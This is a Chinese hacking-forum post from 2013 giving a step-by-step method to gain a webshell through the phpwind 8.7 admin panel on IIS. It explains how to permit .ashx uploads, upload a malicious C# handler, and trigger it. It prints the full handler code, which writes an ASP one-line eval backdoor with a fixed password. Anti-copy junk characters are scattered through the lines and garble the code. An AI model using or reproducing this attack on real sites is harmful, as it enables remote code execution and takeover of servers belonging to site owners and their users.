找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2153|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小  \- R8 r* O) [. x6 g# l
* C$ X* ^+ H  g
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
* J; Y! |9 t+ n4 j+ { 6 q! m# y( D+ ?" e. ~
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整5 y3 O( e# o* w% e6 E, t

9 s; a/ v$ I1 F' y* g然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
) q$ w, [0 d3 C: R' h6 x7 f
/ j( X7 W* c9 P9 l0 w3 n) R4 m6 B打开之后空白 会在目录底下生成r00ts.asp 密码r00ts; [( [3 }1 e, B1 D( L1 R# a2 o

7 E6 E! Y. f) A3 \" l+ }下面是代码:$ n. r6 a0 X! R7 p3 M/ G
) P+ X' O% v# M+ s
<%@ WebHandler Language="C#"Class="Handler" %>0 r( \" W; ~5 S
using System;
) Q; E. C6 f3 Vusing System.Web;
: N  U( M# J: I* V0 Busing System.IO;
6 _& Q7 p' R$ P$ r2 @& Rpublic class Handler : IHttpHandler {
- v% t, @  D# U, ]4 O0 L0 ypublic void ProcessRequest (HttpContext context) {
- D5 G) U, @9 S4 K( g9 @context.Response.ContentType = "text/plain";
) X$ k9 D3 @+ b# N' ^- G% v$ IStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
2 e$ @, v/ j3 pfile1.Write("<%eval request(\"r00ts\")%>");/ L; C8 f  q6 M3 c' L' q4 j
file1.Flush();
" Z1 j4 ~$ q4 _) ?/ ufile1.Close();
! @: @2 r( v8 m; t% ^}8 w% u( n) h( _2 p
public bool IsReusable {
( f( B+ J& Z: T& ?! yget {5 S1 d% K8 l5 r% o2 M  q# T! u
return false;4 ]- u  m9 L& u% g6 ?. R' ]+ ?. l
}# Q7 G  ]4 F  w
}
; k, o1 K7 ~+ g3 J}, o/ k0 W5 u& r6 z; i/ {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表